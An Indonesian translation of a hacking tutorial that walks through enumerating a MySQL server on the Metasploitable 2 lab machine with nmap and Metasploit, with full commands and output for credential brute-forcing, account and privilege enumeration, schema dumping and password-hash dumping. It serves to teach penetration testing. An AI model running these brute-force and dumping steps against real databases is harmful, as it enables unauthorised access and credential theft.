Menghitung Basis Data MySQL Dengan Metasploit

How to Enumerate MySQL Databases with Metasploit « Null Byte ...

Pengintaian barangkali merupakan fase paling kritis dari suatu serangan. Ini sangat penting ketika mempersiapkan serangan terhadap database karena 1 langkah yang salah dapat menghancurkan setiap bit data terakhir yang biasanya bukan hasil yang diinginkan. Metasploit berisi berbagai modul yang dapat digunakan untuk menghitung basis data MySQL sehingga mudah untuk mengumpulkan informasi berharga.

Informasi Apa Yang Berharga bagi Penyerang?

Bagi seorang peretas yang terampil hampir semua data bisa menjadi penting dalam mempersiapkan serangan. Ketika kita berpikir tentang SQL dari perspektif ini sering kali pikiran kita langsung ke injeksi SQL tetapi mengumpulkan informasi tentang database itu sendiri kadang-kadang bisa sama pentingnya.

Hal-hal yang harus dicari ketika menghitung basis data menyertakan versi karena terkadang serangan yang berhasil dapat semudah menemukan exploit untuk versi yang sudah ketinggalan zaman. Hal lain yang harus dicari adalah kredensial yang valid yang tidak hanya dapat digunakan untuk database tetapi sering dapat digunakan untuk aplikasi atau sistem lain (penggunaan kembali kata sandi adalah hal yang nyata dan masalah nyata bagi organisasi). Terakhir informasi tentang struktur database dapat sangat berguna untuk melakukan injeksi SQL karena mengetahui apa yang sering terjadi setengah dari pertempuran.

Hari ini kita akan menggunakan Metasploit untuk menyebutkan beberapa informasi ini pada database MySQL. Kami akan menyerang Metasploitable 2 melalui kotak Kali Linux.

Langkah 1Lakukan Pemindaian Nmap

Hal pertama yang perlu kita lakukan adalah menentukan apakah MySQL berjalan pada target. Karena kita tahu ini berjalan pada port 3306 secara default, kita dapat menggunakan Nmap untuk memindai host:

~# nmap 10.10.0.50 -p 3306

Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-21 08:09 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00073s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
MAC Address: 00:1D:09:55:B1:3B (Dell)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

Dan kita bisa lihat MySQL memang berjalan dan port terbuka. Ingatlah untuk menggunakan alamat IP target yang benar.

Langkah 2Dapatkan Info Masuk

Sekarang kita yakin MySQL terbuka pada target kita dapat masuk ke enumerasi untuk mengumpulkan informasi sebanyak mungkin untuk pengintaian. Untuk memulai, jalankan Metasploit dengan mengetikkan msfconsole di terminal.

~# msfconsole

Kami kemudian dapat mencari modul apa pun yang berkaitan dengan MySQL dengan menggunakan perintah pencarian:

msf5 > search mysql

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank       Check  Description
   -   ----                                                  ---------------  ----       -----  -----------
   0   auxiliary/admin/http/manageengine_pmp_privesc         2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   1   auxiliary/admin/http/rails_devise_pass_reset          2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   2   auxiliary/admin/mysql/mysql_enum                                       normal     No     MySQL Enumeration Module
   3   auxiliary/admin/mysql/mysql_sql                                        normal     No     MySQL SQL Generic Query
   4   auxiliary/admin/tikiwiki/tikidblib                    2006-11-01       normal     No     TikiWiki Information Disclosure
   5   auxiliary/analyze/jtr_mysql_fast                                       normal     No     John the Ripper MySQL Password Cracker (Fast Mode)
   6   auxiliary/gather/joomla_weblinks_sqli                 2014-03-02       normal     Yes    Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
   7   auxiliary/scanner/mysql/mysql_authbypass_hashdump     2012-06-09       normal     Yes    MySQL Authentication Bypass Password Dump
   8   auxiliary/scanner/mysql/mysql_file_enum                                normal     Yes    MYSQL File/Directory Enumerator
   9   auxiliary/scanner/mysql/mysql_hashdump                                 normal     Yes    MYSQL Password Hashdump
   10  auxiliary/scanner/mysql/mysql_login                                    normal     Yes    MySQL Login Utility
   11  auxiliary/scanner/mysql/mysql_schemadump                               normal     Yes    MYSQL Schema Dump
   12  auxiliary/scanner/mysql/mysql_version                                  normal     Yes    MySQL Server Version Enumeration
   13  auxiliary/scanner/mysql/mysql_writable_dirs                            normal     Yes    MYSQL Directory Write Test
   14  auxiliary/server/capture/mysql                                         normal     No     Authentication Capture: MySQL
   15  exploit/linux/mysql/mysql_yassl_getname               2010-01-25       good       No     MySQL yaSSL CertDecoder::GetName Buffer Overflow
   16  exploit/linux/mysql/mysql_yassl_hello                 2008-01-04       good       No     MySQL yaSSL SSL Hello Message Buffer Overflow
   17  exploit/multi/http/manage_engine_dc_pmp_sqli          2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   18  exploit/multi/http/zpanel_information_disclosure_rce  2014-01-30       excellent  No     Zpanel Remote Unauthenticated RCE
   19  exploit/multi/mysql/mysql_udf_payload                 2009-01-16       excellent  No     Oracle MySQL UDF Payload Execution
   20  exploit/unix/webapp/kimai_sqli                        2013-05-21       average    Yes    Kimai v0.9.2 'db_restore.php' SQL Injection
   21  exploit/unix/webapp/wp_google_document_embedder_exec  2013-01-03       normal     Yes    WordPress Plugin Google Document Embedder Arbitrary File Disclosure
   22  exploit/windows/mysql/mysql_mof                       2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows MOF Execution
   23  exploit/windows/mysql/mysql_start_up                  2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows FILE Privilege Abuse
   24  exploit/windows/mysql/mysql_yassl_hello               2008-01-04       average    No     MySQL yaSSL SSL Hello Message Buffer Overflow
   25  exploit/windows/mysql/scrutinizer_upload_exec         2012-07-27       excellent  Yes    Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential
   26  post/linux/gather/enum_configs                                         normal     No     Linux Gather Configurations
   27  post/linux/gather/enum_users_history                                   normal     No     Linux Gather User History
   28  post/multi/manage/dbvis_add_db_admin                                   normal     No     Multi Manage DbVisualizer Add Db Admin

Ada banyak hal di sini tetapi sebagian besar kami khawatir dengan beberapa alat bantu untuk saat ini. Yang pertama akan kita lihat adalah modul mysql_login yang akan menemukan beberapa kredensial yang valid untuk layanan MySQL. Muat dengan perintah penggunaan:

msf5 > use auxiliary/scanner/mysql/mysql_login

Sekarang kita bisa melihat pengaturan saat ini menggunakan perintah opsi:

msf5 auxiliary(scanner/mysql/mysql_login) > options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Pertama mari kita buat file teks yang berisi daftar kemungkinan nama penggunaKami akan membuatnya singkat untuk tujuan demonstrasi tetapi lebih lama daftar yang tersedia untuk umum juga dapat digunakan. Kami akan menyebutnya users.txt:

msf5 auxiliary(scanner/mysql/mysql_login) > nano users.txt

[*] exec: nano users.txt

Sekarang mari kita tambahkan beberapa nama pengguna potensial:

root
admin
guest
user
mysql

Simpan file lalu kami akan melakukan hal yang sama untuk kata sandi:

msf5 auxiliary(scanner/mysql/mysql_login) > nano passwords.txt

[*] exec: nano passwords.txt

Sekali lagi, jangan ragu untuk menggunakan daftar kata sandi yang lebih panjang tetapi cukup ketahui bahwa modul ini akan membutuhkan waktu lebih lama untuk diselesaikan. Untuk saat ini kami akan memberikan beberapa kata sandi yang umum:

password
mysql
root
admin

Kemudian kita dapat mengatur file untuk membaca nama pengguna dari:

msf5 auxiliary(scanner/mysql/mysql_login) > set user_file users.txt

user_file => users.txt

Dan lakukan hal yang sama untuk file kata sandi:

msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file passwords.txt

pass_file => passwords.txt

MySQL juga dapat mengizinkan login dengan kata sandi kosong jadi sebaiknya periksa juga. Setel opsi menjadi true untuk memeriksa kata sandi kosong:

msf5 auxiliary(scanner/mysql/mysql_login) > set blank_passwords true

blank_passwords => true

Hal terakhir yang perlu kita lakukan adalah mengatur alamat IP target kita. Kita dapat menggunakan perintah setg di sini untuk mengatur opsi secara global karena semua pemindaian kita akan berjalan pada host yang sama:

msf5 auxiliary(scanner/mysql/mysql_login) > setg rhosts 10.10.0.50

rhosts => 10.10.0.50

Akhirnya ketik lari untuk memulai:

msf5 auxiliary(scanner/mysql/mysql_login) > run

[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Found remote MySQL version 5.0.51a
[!] 10.10.0.50:3306       - No active DB -- Credential data will not be saved!
[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Success: 'root:'
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin: (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:password (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:mysql (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:root (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:admin (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Success: 'guest:'
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user: (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:password (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:mysql (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:root (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:admin (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql: (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:password (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:mysql (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:root (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:admin (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[*] 10.10.0.50:3306       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Kita dapat melihat bahwa ia mencoba semua kemungkinan kombinasi nama pengguna dan kata sandi yang kami berikan dan menemukan beberapa login yang valid dalam proses. Sepertinya tamu dan root adalah login yang sah menggunakan kata sandi kosong yang akan baik untuk diketahui untuk modul yang akan datang.

Langkah 3Jalankan Enumerator MySQL

Modul selanjutnya yang akan kita lihat akan secara otomatis menyebutkan berbagai informasi tentang database MySQL, termasuk nomor versi, informasi server, direktori data dan beberapa opsi lain yang dapat dikonfigurasi di MySQL.

Untuk memulai, muat modul mysql_enum:

msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/admin/mysql/mysql_enum

Selanjutnya kita bisa melihat opsi yang ditawarkan modul ini:

msf5 auxiliary(admin/mysql/mysql_enum) > options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    10.10.0.50       yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port (TCP)
   USERNAME                   no        The username to authenticate as

Nomor port ditetapkan secara default, dan karena kita sebelumnya menggunakan opsi global untuk mengatur alamat IP, satu-satunya hal yang perlu kita atur di sini adalah nama pengguna. Kami tahu dari langkah sebelumnya bahwa instance MySQL ini memungkinkan root untuk login dengan kata sandi kosong sehingga kami dapat mengatur opsi itu secara global sekarang:

msf5 auxiliary(admin/mysql/mysql_enum) > setg username root

username => root

Satu-satunya hal yang harus dilakukan adalah meluncurkan modul:

msf5 auxiliary(admin/mysql/mysql_enum) > run

[*] Running module against 10.10.0.50

[*] 10.10.0.50:3306 - Running MySQL Enumerator...
[*] 10.10.0.50:3306 - Enumerating Parameters
[*] 10.10.0.50:3306 -   MySQL Version: 5.0.51a-3ubuntu5
[*] 10.10.0.50:3306 -   Compiled for the following OS: debian-linux-gnu
[*] 10.10.0.50:3306 -   Architecture: i486
[*] 10.10.0.50:3306 -   Server Hostname: metasploitable
[*] 10.10.0.50:3306 -   Data Directory: /var/lib/mysql/
[*] 10.10.0.50:3306 -   Logging of queries and logins: OFF
[*] 10.10.0.50:3306 -   Old Password Hashing Algorithm OFF
[*] 10.10.0.50:3306 -   Loading of local files: ON
[*] 10.10.0.50:3306 -   Deny logins with old Pre-4.1 Passwords: OFF
[*] 10.10.0.50:3306 -   Allow Use of symlinks for Database Files: YES
[*] 10.10.0.50:3306 -   Allow Table Merge: YES
[*] 10.10.0.50:3306 -   SSL Connections: Enabled
[*] 10.10.0.50:3306 -   SSL CA Certificate: /etc/mysql/cacert.pem
[*] 10.10.0.50:3306 -   SSL Key: /etc/mysql/server-key.pem
[*] 10.10.0.50:3306 -   SSL Certificate: /etc/mysql/server-cert.pem
[*] 10.10.0.50:3306 - Enumerating Accounts:
[*] 10.10.0.50:3306 -   List of Accounts with Password Hashes:
[+] 10.10.0.50:3306 -       User: debian-sys-maint Host:  Password Hash:
[+] 10.10.0.50:3306 -       User: root Host: % Password Hash:
[+] 10.10.0.50:3306 -       User: guest Host: % Password Hash:
[*] 10.10.0.50:3306 -   The following users have GRANT Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have CREATE USER Privilege:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have RELOAD Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have SHUTDOWN Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have SUPER Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have FILE Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have PROCESS Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts have privileges to the mysql database:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts have empty passwords:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts are not restricted by source:
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -       User: root Host: %
[*] Auxiliary module execution completed

Kita dapat melihatnya mengembalikan banyak informasi yang akhirnya menjadi sangat berguna.

Langkah 4Buang Skema Basis Data

Modul berikutnya yang akan kita gunakan adalah modul mysql_schemadump yang seperti namanya akan membuang informasi skema tentang database. Suatu skema dapat dianggap sebagai semacam cetak biru untuk database yang berisi rincian organisasi tentang bagaimana itu disusun. Ini bisa menjadi banyak data untuk disaring tetapi dapat membantu mengidentifikasi bagian-bagian penting dari database dalam fase pengintaian.

Pertama muat modul:

msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_schemadump

Dan kita bisa melihat opsi:

msf5 auxiliary(scanner/mysql/mysql_schemadump) > options

Module options (auxiliary/scanner/mysql/mysql_schemadump):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
   PASSWORD                          no        The password for the specified username
   RHOSTS           10.10.0.50       yes       The target address range or CIDR identifier
   RPORT            3306             yes       The target port (TCP)
   THREADS          1                yes       The number of concurrent threads
   USERNAME         root             no        The username to authenticate as

Semuanya harus baik untuk pergi di sini jadi mari kita mulai:

msf5 auxiliary(scanner/mysql/mysql_schemadump) > run

[+] 10.10.0.50:3306       - Schema stored in: /root/.msf4/loot/20200121084427_default_10.10.0.50_mysql_schema_679633.txt
[+] 10.10.0.50:3306       - MySQL Server Schema
 Host: 10.10.0.50
 Port: 3306
 ====================

---
- DBName: dvwa
  Tables:
  - TableName: guestbook
    Columns:
    - ColumnName: comment_id
      ColumnType: smallint(5) unsigned
    - ColumnName: comment
      ColumnType: varchar(300)
    - ColumnName: name
      ColumnType: varchar(100)
  - TableName: users
    Columns:
    - ColumnName: user_id
      ColumnType: int(6)
    - ColumnName: first_name
      ColumnType: varchar(15)
    - ColumnName: last_name
      ColumnType: varchar(15)
    - ColumnName: user
      ColumnType: varchar(15)
    - ColumnName: password
      ColumnType: varchar(32)
    - ColumnName: avatar
      ColumnType: varchar(70)
- DBName: metasploit
  Tables: []
- DBName: owasp10
  Tables:
  - TableName: accounts
    Columns:
    - ColumnName: cid
      ColumnType: int(11)
    - ColumnName: username
      ColumnType: text
    - ColumnName: password
      ColumnType: text
    - ColumnName: mysignature
      ColumnType: text
    - ColumnName: is_admin
      ColumnType: varchar(5)
  - TableName: blogs_table

...

Seperti yang dinyatakan sebelumnya ini akan mengembalikan banyak informasi tetapi untungnya Metasploit menyimpan hasil curian dalam file teks untuk tampilan yang lebih nyaman.

Langkah 5Dapatkan Hash Kata Sandi MySQL

Modul berikutnya yang akan kami coba akan mencoba mengumpulkan hash kata sandi tambahan yang ditemukannya di basis data. Ini dapat berguna untuk berputar ke sistem lain, mengidentifikasi penggunaan kembali kata sandi atau mendapatkan hak istimewa admin jika beroperasi sebagai pengguna lain.

Muat modul mysql_hashdump:

msf5 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdump

Dan intip pilihannya:

msf5 auxiliary(scanner/mysql/mysql_hashdump) > options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    10.10.0.50       yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads
   USERNAME  root             no        The username to authenticate as

Sekali lagi semuanya terlihat bagus sehingga kita dapat meluncurkan modul:

msf5 auxiliary(scanner/mysql/mysql_hashdump) > run

[+] 10.10.0.50:3306       - Saving HashString as Loot: debian-sys-maint:
[+] 10.10.0.50:3306       - Saving HashString as Loot: root:
[+] 10.10.0.50:3306       - Saving HashString as Loot: guest:
[*] 10.10.0.50:3306       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Kita dapat melihat bahwa itu melengkapi dan menyimpan hash yang ditemukan sebagai jarahan. Dalam hal ini, tidak ada pengguna di sistem yang memiliki kata sandi yang ditetapkan, jadi kami tidak mendapatkan string apa pun.

Langkah 6Jalankan Permintaan SQL

Modul terakhir yang akan kita lihat hari ini adalah modul mysql_sql yang dapat menjalankan query SQL dari dalam Metasploit Framework. Itu memang membutuhkan pengetahuan tentang bahasa SQL jadi pada titik ini, mungkin lebih efisien untuk hanya terhubung ke database secara langsung untuk mengeluarkan perintah. Namun ini menunjukkan bagaimana melakukan segalanya tanpa harus meninggalkan Metasploit.

Pertama muat modul:

msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/admin/mysql/mysql_sql

Kemudian kita dapat melihat opsi saat ini:

msf5 auxiliary(admin/mysql/mysql_sql) > options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the specified username
   RHOSTS    10.10.0.50        yes       The target address range or CIDR identifier
   RPORT     3306              yes       The target port (TCP)
   SQL       select version()  yes       The SQL to execute.
   USERNAME  root              no        The username to authenticate as

Satu-satunya hal yang perlu kita atur adalah query SQL untuk dijalankan terhadap target. Sebagai contoh salah satu perintah pertama untuk membiasakan diri saat menghubungkan ke database adalah perintah show databasesItu akan mencantumkan semua database yang tersedia untuk digunakan.

Setel opsi:

msf5 auxiliary(admin/mysql/mysql_sql) > set sql show databases

sql => show databases

Dan akhirnya jalankan modul:

msf5 auxiliary(admin/mysql/mysql_sql) > run

[*] Running module against 10.10.0.50

[*] 10.10.0.50:3306 - Sending statement: 'show databases'...
[*] 10.10.0.50:3306 -  | information_schema |
[*] 10.10.0.50:3306 -  | dvwa |
[*] 10.10.0.50:3306 -  | metasploit |
[*] 10.10.0.50:3306 -  | mysql |
[*] 10.10.0.50:3306 -  | owasp10 |
[*] 10.10.0.50:3306 -  | tikiwiki |
[*] 10.10.0.50:3306 -  | tikiwiki195 |
[*] Auxiliary module execution completed

Kita bisa melihat ada beberapa database yang berbeda hadir dalam contoh MySQL ini.

Comments

Popular Posts